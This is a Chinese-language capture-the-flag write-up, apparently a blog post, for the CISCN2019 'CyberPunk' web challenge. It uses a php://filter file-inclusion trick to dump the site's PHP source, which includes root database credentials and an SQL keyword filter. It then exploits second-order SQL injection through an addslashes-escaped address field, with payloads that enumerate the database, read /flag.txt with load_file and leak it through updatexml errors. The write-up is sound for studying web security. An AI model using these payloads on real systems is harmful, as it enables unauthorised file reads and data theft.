WEB|[CISCN2019 华北赛区 Day1 Web5]CyberPunk

发布时间 2023-05-06 15:52:29作者: scarecr0w7


看到有登录框想到可能存在注入,但是对每个页面都测试了并没有结果,看有提交订单页面和查询订单页面猜测可能会有二次注入,但是没有源码不好测试,然后查看网页源码也没发现什么

看了下别人的wp,源码最后有提示<!--?file=?-->,可能存在文件包含,这个确实没有想到

</body>
</html>
<!--?file=?-->

文件包含

?file=php://filter/convert.base64-encode/resource=index.php

读取已知页面的源码,显示的源码没有包含html代码
index.php

<?php

ini_set('open_basedir', '/var/www/html/');

// $file = $_GET["file"];
$file = (isset($_GET['file']) ? $_GET['file'] : null);
if (isset($file)){
    if (preg_match("/phar|zip|bzip2|zlib|data|input|%00/i",$file)) {
        echo('no way!');
        exit;
    }
    @include($file);
}
?>

文件包含漏洞
search.php

<?php

require_once "config.php"; 

if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ 
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        if(!$row) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "<p>姓名:".$row['user_name']."</p><p>, 电话:".$row['phone']."</p><p>, 地址:".$row['address']."</p>";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不全";
}
?>

user_name和phone都进行匹配,不存在注入
change.php

<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["address"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $address = addslashes($_POST["address"]);
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        $sql = "update `user` set `address`='".$address."', `old_address`='".$row['address']."' where `user_id`=".$row['user_id'];
        $result = $db->query($sql);
        if(!$result) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单修改成功";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不全";
}
?>

user_name和phone都进行匹配,不存在注入,但是address使用的是addslashes,典型的二次注入
delete.php

<?php

require_once "config.php";

if(!empty($_POST["user_name"]) && !empty($_POST["phone"]))
{
    $msg = '';
    $pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){ 
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

    if (isset($fetch) && $fetch->num_rows>0){
        $row = $fetch->fetch_assoc();
        $result = $db->query('delete from `user` where `user_id`=' . $row["user_id"]);
        if(!$result) {
            echo 'error';
            print_r($db->error);
            exit;
        }
        $msg = "订单删除成功";
    } else {
        $msg = "未找到订单!";
    }
}else {
    $msg = "信息不全";
}
?>

config.php

<?php

ini_set("open_basedir", getcwd() . ":/etc:/tmp");

$DATABASE = array(

    "host" => "127.0.0.1",
    "username" => "root",
    "password" => "root",
    "dbname" =>"ctfusers"
);

$db = new mysqli($DATABASE['host'],$DATABASE['username'],$DATABASE['password'],$DATABASE['dbname']);

二次注入

$pattern = '/select|insert|update|delete|and|or|join|like|regexp|where|union|into|load_file|outfile/i';
    $user_name = $_POST["user_name"];
    $address = addslashes($_POST["address"]);
    $phone = $_POST["phone"];
    if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){
        $msg = 'no sql inject!';
    }else{
        $sql = "select * from `user` where `user_name`='{$user_name}' and `phone`='{$phone}'";
        $fetch = $db->query($sql);
    }

更新页面address使用的是addslashes,存在二次注入漏洞

addslashes() 函数返回在预定义字符之前添加反斜杠的字符串
预定义字符是:单引号(')、双引号(")、反斜杠(\)、NULL

二次注入:
攻击者构造的恶意数据存储在数据库后,恶意数据被读取并进入到SQL查询语句所导致的注入。防御者可能在用户输入恶意数据时对其中的特殊字符进行了转义处理,但在恶意数据插入到数据库时被处理的数据又被还原并存储在数据库中,当Web程序调用存储在数据库中的恶意数据并执行SQL查询时,就发生了SQL二次注入。

这里addslashes将单引号(')转义为\',但是进入数据库中单个 \ 是会被去除,所以存储到数据还是单引号('),更新时会被拼接到sql语句中
payload

' ,`address`=database()#'

添加数据

更新数据

查询数据

查询结果

# 当前数据库
' ,`address`=database()#'
ctfusers

# 数据库
',`address`=(select(group_concat(schema_name))from(information_schema.schemata))#
information_schema,ctftraining,mysql,performance_schema,test,ctfusers

# 表
',`address`=(select(group_concat(table_name))from(information_schema.tables)where(table_schema='ctftraining'))#
FLAG_TABLE,news,users

# 字段
',`address`=(select(group_concat(column_name))from(information_schema.columns)where(table_name='FLAG_TABLE'))#
FLAG_COLUMN

# 数据
',`address`=(select(group_concat(`FLAG_COLUMN`))from(`ctftraining`.`FLAG_TABLE`))#
errorColumn 'address' cannot be null

查询数据时提示没有数据,说明表里面没有flag,查看wp说是要读根目录的flag.txt文件,具体为什么读flag.txt,说是CISCN官方出题说明了flag在根目录下

',`address`=(select(load_file("/flag.txt")))#

flag{5a8927a1-7be6-4190-8868-addfdad42aae}


另一个解法,使用报错显示内容
payload

# updatexml一次最多显示32位,两次读取
1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),1,20)),0x7e),1)#
errorXPATH syntax error: '~flag{5a8927a1-7be6-4~'

1' where user_id=updatexml(1,concat(0x7e,(select substr(load_file('/flag.txt'),20,50)),0x7e),1)#
errorXPATH syntax error: '~190-8868-addfdad42aae}~'